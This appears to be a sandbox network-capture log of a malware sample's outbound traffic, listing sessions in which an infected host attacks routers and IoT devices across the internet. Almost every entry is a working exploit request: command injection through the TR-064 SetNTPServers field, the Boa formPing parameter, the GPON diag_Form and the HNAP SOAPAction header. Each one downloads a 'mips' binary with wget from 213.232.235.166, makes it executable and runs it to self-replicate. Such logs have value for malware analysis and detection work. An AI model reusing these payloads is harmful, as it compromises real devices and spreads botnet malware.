Apr 15, 2024 08:52:51.009368896 CEST	97	IN	HTTP/1.1 401 Unauthorized Date: Mon, 15 Apr 2024 06:52:50 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
453	192.168.2.13	57774	99.235.63.108	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:50.960982084 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
454	192.168.2.13	35306	67.55.52.131	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:50.961039066 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:51.198575974 CEST	238	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 Connection: close WWW-Authenticate: Digest realm="realm@easycwmp",qop="auth",nonce="73befde998d139e3d757a03760e1995e002d21e8",opaque="328458fab28345ae87ab3210a8513b14eff452a2"

Session ID	Source IP	Source Port	Destination IP	Destination Port
455	192.168.2.13	47130	220.120.242.86	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:51.008086920 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
456	192.168.2.13	56632	181.4.228.22	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:51.016802073 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
457	192.168.2.13	35316	67.55.52.131	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:51.201030970 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:52.448429108 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:52.691102982 CEST	238	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 Connection: close WWW-Authenticate: Digest realm="realm@easycwmp",qop="auth",nonce="fd55d442945d568c5eae4f5127b6818e002d21ea",opaque="328458fab28345ae87ab3210a8513b14eff452a2"

Session ID	Source IP	Source Port	Destination IP	Destination Port
458	192.168.2.13	57784	99.235.63.108	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:51.205024004 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:52.448436975 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
459	192.168.2.13	47140	220.120.242.86	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:51.292874098 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
460	192.168.2.13	56642	181.4.228.22	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:51.314858913 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
461	192.168.2.13	39532	213.122.249.187	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:51.343075037 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:52:55.392453909 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
462	192.168.2.13	47554	209.54.99.181	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:51.408726931 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:51.561803102 CEST	404	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:52:51 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
463	192.168.2.13	46460	119.203.76.132	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:51.447587967 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
464	192.168.2.13	46556	119.203.76.132	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:51.736984015 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
465	192.168.2.13	41306	34.149.157.190	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:51.821579933 CEST	785	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
466	192.168.2.13	34226	47.7.35.31	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:51.986751080 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
467	192.168.2.13	54852	191.54.100.108	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:52.053936005 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:52.397250891 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
468	192.168.2.13	42312	84.75.73.72	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:52.065926075 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
469	192.168.2.13	49618	2.66.209.130	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:52.097974062 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:52.470326900 CEST	396	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Mon, 15 Apr 2024 06:52:52 GMT X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; frame-ancestors 'self'; img-src 'self' data:; Referrer-Policy: no-referrer

Session ID	Source IP	Source Port	Destination IP	Destination Port
470	192.168.2.13	33104	197.101.0.167	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:52.222600937 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:52.727540016 CEST	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Mon, 15 Apr 2024 06:52:52 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
471	192.168.2.13	34242	47.7.35.31	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:52.241544008 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:53.536449909 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
472	192.168.2.13	54902	191.54.100.108	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:52.397303104 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:52.730457067 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
473	192.168.2.13	42332	84.75.73.72	7547

Timestamp	Bytes transferred	Direction	Data
